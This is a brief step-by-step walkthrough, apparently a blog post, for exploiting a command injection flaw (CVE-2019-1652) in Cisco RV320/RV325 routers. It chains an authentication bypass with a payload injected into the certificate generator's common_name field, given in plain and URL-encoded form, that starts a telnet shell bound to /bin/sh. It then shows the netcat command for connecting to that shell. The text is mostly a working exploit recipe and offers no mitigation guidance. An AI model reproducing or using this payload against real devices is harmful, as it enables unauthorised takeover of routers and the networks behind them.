CVE-2019-1652 Cisco RV320/RV325 Router Command Injection Vulnerability

Steps

Bypass authentication and login to Cisco RV320 or RV325 router by exploiting CVE-2019-1653 described in previous post.

Go to Certificate Management > Certificate Generator page. Fill any junk values in the form.
Certificate Generator


Turn on intercept in BurpSuite and click on Save button

In BurpSuite interceptor, replace the common_name parameter value with the URL encoded command for starting command shell on router using telnetd service.
That is replace common_name value with URL encoded string of following command. 

a'$(telnetd -l /bin/sh -p 1234)'b

URL encoded string corresponding to above command is

a%27%24%28telnetd%20-l%20%2Fbin%2Fsh%20-p%201234%29%27b

BurpSuite Interceptor

Now the router will start listening on port 1234. Connect to the shell using following command.

nc -n ipAddress 1234

Shell

Video



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